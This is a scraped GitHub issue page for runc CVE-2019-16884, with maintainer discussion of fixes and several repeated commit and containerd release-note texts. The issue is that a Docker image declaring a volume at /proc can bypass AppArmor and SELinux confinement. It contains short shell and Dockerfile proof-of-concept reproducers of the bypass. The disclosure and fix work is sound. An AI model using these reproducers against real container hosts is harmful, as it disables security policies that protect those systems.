Join GitHub today
GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.
Sign upAppArmor can be bypassed by a malicious image that specifies a volume at /proc #2128
Comments
This comment has been minimized.
This comment has been minimized.
|
Yeah this looks like I messed up the path checking when porting to Though I do just want to say -- given this was an intended solution to a CTF, it's a shame that we didn't get pinged about it by the organisers beforehand at security@opencontainers.org (or I guess security@docker.com). |
This comment has been minimized.
This comment has been minimized.
|
It should be noted that the previous check (before we did |
This comment has been minimized.
This comment has been minimized.
|
We currently have this PR that changed the logic #1832 |
This comment has been minimized.
This comment has been minimized.
|
@giuseppe how do you think we should handle fixing this where we still have the ability to bind proc in rootless containers? Maybe only allow proc mounts if rootless or check that what is being mounted on |
Fixes opencontainers#2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` Signed-off-by: Michael Crosby <crosbymichael@gmail.com>
This comment has been minimized.
This comment has been minimized.
|
I think both solutions would work. I am not familiar with AppArmor (and out of office this week to try it out), but would it be possible to set the apparmor profile before pivoting to the new rootfs? |
Fixes opencontainers#2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` Signed-off-by: Michael Crosby <crosbymichael@gmail.com>
Fixes opencontainers#2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` Signed-off-by: Michael Crosby <crosbymichael@gmail.com>
Fixes opencontainers#2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` Signed-off-by: Michael Crosby <crosbymichael@gmail.com>
Fixes opencontainers#2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` Signed-off-by: Michael Crosby <crosbymichael@gmail.com>
This comment has been minimized.
This comment has been minimized.
|
CVE-2019-16884 has been assigned for this issue. |
This comment has been minimized.
This comment has been minimized.
|
I looked into it some more, and this affects explicit SELinux labels as well: runc/libcontainer/standard_init_linux.go Lines 149 to 152 in 3e425f8 via: At least on Red Hat-derived distributions, the sVirt profile is applied by default so the impact is likely smaller, but it means that it's not just Ubuntu that is affected. |
This comment has been minimized.
This comment has been minimized.
|
@leoluk Yeah, because they both use the |
This comment has been minimized.
This comment has been minimized.
|
As pointed out by @bennofs in #2129, mounting to # Ubuntu 18.04
mkdir -p rootfs/proc/self/{fd,attr}
touch rootfs/proc/self/{status,fd/4,fd/5,attr/exec}
cat <<EOF > Dockerfile
FROM busybox
ADD rootfs /
VOLUME /
EOF
docker build -t apparmor-bypass .
docker run --rm -it --security-opt "apparmor=docker-default" apparmor-bypass sleep 10
|
This comment has been minimized.
This comment has been minimized.
|
The problem is that some workloads depend on mounting things to I want to re-iterate that we could've worked through these issues more easily if the issue had been reported privately first. I get that "responsible disclosure" is a dirty word these days, but that's because of how proprietary software companies have reacted to disclosures in the past -- we're a free software project and so surely it should be clear that we aren't going to act in that manner. But I guess it's too late to have that conversation now. |
This comment has been minimized.
This comment has been minimized.
|
Alternatively we could check whether the file we're opening during labeling is actually on EDIT: I've sent opencontainers/selinux#59 and #2130 to do the above. The mount-to- |
This comment has been minimized.
This comment has been minimized.
|
FYI, this does not seem to effect SELinux. cat selinux.sh
The label would not be container_t if the process was unconfined. |
This comment has been minimized.
This comment has been minimized.
|
Actually I was mistaken. I was testing with crun not runc. runc does not work on F31 right now, so no easy way to fix. |
This comment has been minimized.
This comment has been minimized.
|
@rhatdan Looks like podman just ignores the volume so this might be why? |
This comment has been minimized.
This comment has been minimized.
|
I can reproduce the SELinux bypass using Docker CE 19.03.2 with runc at 84373aa on Fedora 30 (same reproducer as above, plus $ docker run --rm --runtime=runc-git -v /proc:/proc2 busybox \
cat /proc2/self/attr/current
system_u:system_r:container_t:s0:c504,c813
$ docker run --rm --runtime=runc-git -v /proc:/proc2 selinux-bypass \
cat /proc2/self/attr/current
system_u:system_r:spc_t:s0 |
This comment has been minimized.
This comment has been minimized.
|
@leoluk If you apply the two PRs I've posted (you'll need to apply the go-selinux one to the vendor/ tree), can you still reproduce it? In theory we should be relying on the parent process to set up labels but we'll have to implement that later... |
This comment has been minimized.
This comment has been minimized.
|
I reviewed the PRs, fix looks solid. Of course, not being in attacker-controlled territory would be best, on the other hand, a sane PaaS would not let untrusted users specify bind/procfs mounts. With opencontainers/selinux#59 applied to the vendored version in runc master and built using
Can't think of a way to bypass it using only
Agreed. Can't really comment on that, since I'm not the one who found the bug and had no prior knowledge of it. I use runc in production and want to help fix this as thoroughly as possible. Thanks y'all for your efforts! |
This comment has been minimized.
This comment has been minimized.
|
Actually, I can think of one more thing to fix - runc/libcontainer/utils/utils_unix.go Lines 13 to 17 in 84373aa This can also be bypassed using $ docker run --rm --runtime=runc-git -v /proc:/dev/shm/proc poc ls -lisa /dev/shm/proc/self/fd
ls: /dev/shm/proc/self/fd/3: cannot read link: No such file or directory
total 0
1582842 0 dr-x------ 2 root root 0 Sep 27 18:12 .
1582841 0 dr-xr-xr-x 9 root root 0 Sep 27 18:12 ..
1582843 0 lrwx------ 1 root root 64 Sep 27 18:12 0 -> /dev/null
1582844 0 l-wx------ 1 root root 64 Sep 27 18:12 1 -> pipe:[1582813]
1582845 0 l-wx------ 1 root root 64 Sep 27 18:12 2 -> pipe:[1582814]
1582888 0 lr-x------ 1 root root 64 Sep 27 18:12 3
1582889 0 l-wx------ 1 root root 64 Sep 27 18:12 4 -> pipe:[1582825]I wrote a quick stap script to audit things that take place after pivot_root: https://gist.github.com/leoluk/72531d264ae5cc9ff1d467dd097a8081 |
This comment has been minimized.
This comment has been minimized.
|
Yes we can do a |
This comment has been minimized.
This comment has been minimized.
I just remembered why we can't do this for AppArmor. There is kernel limitation that the only process which can change the AppArmor label for a given process is itself -- you cannot change the label for any other process (even as root). We can work around it by passing a file descriptor to |
This comment has been minimized.
This comment has been minimized.
I think this is the bug in question: https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1639345 They were passing a directory fd to /proc/ and due to a kernel bug, you could win a race and ptrace the process as it entered the namespace to elevate privileges inside the container, then use the fd to escape. Docker drops CAP_SYS_PTRACE and either way passing just a file fd should be safe, no? Even if the fd fails to be closed, the AppArmor profile or SELinux policy won't allow an additional transition. |
This comment has been minimized.
This comment has been minimized.
|
The problem is that most users of But if you don't use user namespaces you're in some amount of trouble even without The use of
The issue is that once you have a file descriptor for |
This comment has been minimized.
This comment has been minimized.
|
Great explanation! Sure, as soon as you get a dir fd from the host mount namespace, it's over. But couldn't we open the file itself before pivoting, then write to it and close it after? Anything you can do to a filefd besides writing to it that I'm missing? |
This comment has been minimized.
This comment has been minimized.
|
This is what I was referring to with " Don't get me wrong, it would definitely not be a bad idea to do something like that (and I'm not against it) -- I'm just a little bit worried how complicated it would get (and how much safety it would buy us over the best-effort
There are some other dodgy things you can do (with things like |
This comment has been minimized.
This comment has been minimized.
|
This has been fixed and is now in the |
opencontainers/runc#2128 opencontainers/runc@331692b Upstream patch commit message by Michael Crosby <crosbymichael@gmail.com>: Only allow proc mount if it is procfs Fixes #2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` CVEs fixed in this build CVE-2019-16168
* Update the runc vendor to v1.0.0-rc9 which includes an additional mitigation for [CVE-2019-16884](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16884). - More details on the runc CVE in [opencontainers/runc#2128](opencontainers/runc#2128), and the additional mitigations in [opencontainers/runc#2130](opencontainers/runc#2130). * Add local-fs.target to service file to fix corrupt image after unexpected host reboot. Reported in [containerd#3671](containerd#3671), and fixed by [containerd#3746](containerd#3746). * Update Golang runtime to 1.12.13, which includes security fixes to the `crypto/dsa` package made in Go 1.12.11 ([CVE-2019-17596](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17596)), and fixes to the go command, `runtime`, `syscall` and `net` packages (Go 1.12.12). * CRI fixes: - Fix shim delete error code to avoid unnecessary retries in the CRI plugin. Discovered in [containerd/cri#1309](containerd/cri#1309), and fixed by [containerd#3732](containerd#3732) and [containerd#3739](containerd#3739). Signed-off-by: Sebastiaan van Stijn <github@gone.nl>
* Update the runc vendor to v1.0.0-rc9 which includes an additional mitigation for [CVE-2019-16884](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16884). - More details on the runc CVE in [opencontainers/runc#2128](opencontainers/runc#2128), and the additional mitigations in [opencontainers/runc#2130](opencontainers/runc#2130). * Add local-fs.target to service file to fix corrupt image after unexpected host reboot. Reported in [containerd#3671](containerd#3671), and fixed by [containerd#3746](containerd#3746). * Update Golang runtime to 1.12.13, which includes security fixes to the `crypto/dsa` package made in Go 1.12.11 ([CVE-2019-17596](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17596)), and fixes to the go command, `runtime`, `syscall` and `net` packages (Go 1.12.12). * CRI fixes: - Fix shim delete error code to avoid unnecessary retries in the CRI plugin. Discovered in [containerd/cri#1309](containerd/cri#1309), and fixed by [containerd#3732](containerd#3732) and [containerd#3739](containerd#3739). Signed-off-by: Sebastiaan van Stijn <github@gone.nl>
* Update the runc vendor to v1.0.0-rc9 which includes an additional mitigation for [CVE-2019-16884](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16884). - More details on the runc CVE in [opencontainers/runc#2128](opencontainers/runc#2128), and the additional mitigations in [opencontainers/runc#2130](opencontainers/runc#2130). * Add local-fs.target to service file to fix corrupt image after unexpected host reboot. Reported in [containerd#3671](containerd#3671), and fixed by [containerd#3745](containerd#3745). * Fix large output of processes with TTY getting occasionally truncated. Reported in [containerd#3738](containerd#3738) and fixed by [containerd#3754](containerd#3754). * Fix direct unpack when running in user namespace. Reported in [containerd#3762](containerd#3762), and fixed by [containerd#3779](containerd#3779). * Update Golang runtime to 1.12.13, which includes security fixes to the `crypto/dsa` package made in Go 1.12.11 ([CVE-2019-17596](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17596)), and fixes to the go command, `runtime`, `syscall` and `net` packages (Go 1.12.12). * Add Windows process shim installer [containerd#3792](containerd#3792) * CRI fixes: - Fix shim delete error code to avoid unnecessary retries in the CRI plugin. Discovered in [containerd/cri#1309](containerd/cri#1309), and fixed by [containerd#3733](containerd#3733) and [containerd#3740](containerd#3740). Signed-off-by: Sebastiaan van Stijn <github@gone.nl>
* Update the runc vendor to v1.0.0-rc9 which includes an additional mitigation for [CVE-2019-16884](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16884). - More details on the runc CVE in [opencontainers/runc#2128](opencontainers/runc#2128), and the additional mitigations in [opencontainers/runc#2130](opencontainers/runc#2130). * Add local-fs.target to service file to fix corrupt image after unexpected host reboot. Reported in [containerd#3671](containerd#3671), and fixed by [containerd#3745](containerd#3745). * Fix large output of processes with TTY getting occasionally truncated. Reported in [containerd#3738](containerd#3738) and fixed by [containerd#3754](containerd#3754). * Fix direct unpack when running in user namespace. Reported in [containerd#3762](containerd#3762), and fixed by [containerd#3779](containerd#3779). * Update Golang runtime to 1.12.13, which includes security fixes to the `crypto/dsa` package made in Go 1.12.11 ([CVE-2019-17596](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17596)), and fixes to the go command, `runtime`, `syscall` and `net` packages (Go 1.12.12). * Add Windows process shim installer [containerd#3792](containerd#3792) * CRI fixes: - Fix shim delete error code to avoid unnecessary retries in the CRI plugin. Discovered in [containerd/cri#1309](containerd/cri#1309), and fixed by [containerd#3733](containerd#3733) and [containerd#3740](containerd#3740). Signed-off-by: Sebastiaan van Stijn <github@gone.nl>
* Update the runc vendor to v1.0.0-rc9 which includes an additional mitigation for [CVE-2019-16884](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16884). - More details on the runc CVE in [opencontainers/runc#2128](opencontainers/runc#2128), and the additional mitigations in [opencontainers/runc#2130](opencontainers/runc#2130). * Add local-fs.target to service file to fix corrupt image after unexpected host reboot. Reported in [containerd#3671](containerd#3671), and fixed by [containerd#3746](containerd#3746). * Update Golang runtime to 1.12.13, which includes security fixes to the `crypto/dsa` package made in Go 1.12.11 ([CVE-2019-17596](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17596)), and fixes to the go command, `runtime`, `syscall` and `net` packages (Go 1.12.12). * CRI fixes: - Fix shim delete error code to avoid unnecessary retries in the CRI plugin. Discovered in [containerd/cri#1309](containerd/cri#1309), and fixed by [containerd#3732](containerd#3732) and [containerd#3739](containerd#3739). Signed-off-by: Sebastiaan van Stijn <github@gone.nl>
* Update the runc vendor to v1.0.0-rc9 which includes an additional mitigation for [CVE-2019-16884](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16884). - More details on the runc CVE in [opencontainers/runc#2128](opencontainers/runc#2128), and the additional mitigations in [opencontainers/runc#2130](opencontainers/runc#2130). * Add local-fs.target to service file to fix corrupt image after unexpected host reboot. Reported in [containerd#3671](containerd#3671), and fixed by [containerd#3746](containerd#3746). * Update Golang runtime to 1.12.13, which includes security fixes to the `crypto/dsa` package made in Go 1.12.11 ([CVE-2019-17596](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17596)), and fixes to the go command, `runtime`, `syscall` and `net` packages (Go 1.12.12). * CRI fixes: - Fix shim delete error code to avoid unnecessary retries in the CRI plugin. Discovered in [containerd/cri#1309](containerd/cri#1309), and fixed by [containerd#3732](containerd#3732) and [containerd#3739](containerd#3739). Signed-off-by: Sebastiaan van Stijn <github@gone.nl>
full diff: containerd/containerd@v1.2.10...v1.2.11 The eleventh patch release for containerd 1.2 includes an updated runc with an additional fix for CVE-2019-16884 and a Golang update. Notable Updates ----------------------- - Update the runc vendor to v1.0.0-rc9 which includes an additional mitigation for CVE-2019-16884. More details on the runc CVE in opencontainers/runc#2128, and the additional mitigations in opencontainers/runc#2130. - Add local-fs.target to service file to fix corrupt image after unexpected host reboot. Reported in containerd/containerd#3671, and fixed by containerd/containerd#3746. - Update Golang runtime to 1.12.13, which includes security fixes to the crypto/dsa package made in Go 1.12.11 (CVE-2019-17596), and fixes to the go command, runtime, syscall and net packages (Go 1.12.12). CRI fixes: ----------------------- - Fix shim delete error code to avoid unnecessary retries in the CRI plugin. Discovered in containerd/cri#1309, and fixed by containerd/containerd#3732 and containerd/containerd#3739. Signed-off-by: Sebastiaan van Stijn <github@gone.nl>
full diff: containerd/containerd@v1.2.10...v1.2.11 The eleventh patch release for containerd 1.2 includes an updated runc with an additional fix for CVE-2019-16884 and a Golang update. Notable Updates ----------------------- - Update the runc vendor to v1.0.0-rc9 which includes an additional mitigation for CVE-2019-16884. More details on the runc CVE in opencontainers/runc#2128, and the additional mitigations in opencontainers/runc#2130. - Add local-fs.target to service file to fix corrupt image after unexpected host reboot. Reported in containerd/containerd#3671, and fixed by containerd/containerd#3746. - Update Golang runtime to 1.12.13, which includes security fixes to the crypto/dsa package made in Go 1.12.11 (CVE-2019-17596), and fixes to the go command, runtime, syscall and net packages (Go 1.12.12). CRI fixes: ----------------------- - Fix shim delete error code to avoid unnecessary retries in the CRI plugin. Discovered in containerd/cri#1309, and fixed by containerd/containerd#3732 and containerd/containerd#3739. Signed-off-by: Sebastiaan van Stijn <github@gone.nl>
Fixes opencontainers#2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` Signed-off-by: Michael Crosby <crosbymichael@gmail.com>
full diff: containerd/containerd@v1.2.10...v1.2.11 The eleventh patch release for containerd 1.2 includes an updated runc with an additional fix for CVE-2019-16884 and a Golang update. Notable Updates ----------------------- - Update the runc vendor to v1.0.0-rc9 which includes an additional mitigation for CVE-2019-16884. More details on the runc CVE in opencontainers/runc#2128, and the additional mitigations in opencontainers/runc#2130. - Add local-fs.target to service file to fix corrupt image after unexpected host reboot. Reported in containerd/containerd#3671, and fixed by containerd/containerd#3746. - Update Golang runtime to 1.12.13, which includes security fixes to the crypto/dsa package made in Go 1.12.11 (CVE-2019-17596), and fixes to the go command, runtime, syscall and net packages (Go 1.12.12). CRI fixes: ----------------------- - Fix shim delete error code to avoid unnecessary retries in the CRI plugin. Discovered in containerd/cri#1309, and fixed by containerd/containerd#3732 and containerd/containerd#3739. Signed-off-by: Sebastiaan van Stijn <github@gone.nl> Upstream-commit: cfcf25bb5409eb0c3a9c257b225f2b8890142030 Component: engine
A malicious volume can specify a volume mount on
/proc. Since Docker populates the volume by copying data present in the image, it's possible to build a fake structure that will trick runc into believing it had successfully written to/proc/self/attr/exec:runc/libcontainer/apparmor/apparmor.go
Lines 23 to 25 in 7507c64
This is possible because apparmor.ApplyProfile is executed in the container rootfs, after pivot_root in prepareRootfs:
runc/libcontainer/standard_init_linux.go
Lines 115 to 117 in 7507c64
checkMountDestinations is supposed to prevent mounting on top of
/proc:runc/libcontainer/rootfs_linux.go
Lines 464 to 469 in 7507c64
... but the check does not work. I believe the reason is that the
destargument is resolved to an absolute path usingsecurejoin.SecureJoin(before pivot_root), unlike the blacklist in checkMountDestinations, which is relative to the rootfs:runc/libcontainer/rootfs_linux.go
Lines 414 to 419 in 7507c64
Minimal proof of concept (on Ubuntu 18.04):
mkdir -p rootfs/proc/self/{attr,fd} touch rootfs/proc/self/{status,attr/exec} touch rootfs/proc/self/fd/{4,5} cat <<EOF > Dockerfile FROM busybox ADD rootfs / VOLUME /proc EOF docker build -t apparmor-bypass . docker run --rm -it --security-opt "apparmor=docker-default" apparmor-bypass # container runs unconfinedNot a critical bug on its own, but should get a CVE assigned.
Discovered by Adam Iwaniuk and disclosed during DragonSector CTF (https://twitter.com/adam_iwaniuk/status/1175741830136291328).
The CTF challenge mounted a file to
/flag-<random>and denied access to it using an AppArmor policy. The bug could then be used to disable the policy and read the file: https://gist.github.com/leoluk/2513b6bbff8aa5cd623f3d7d7f20871a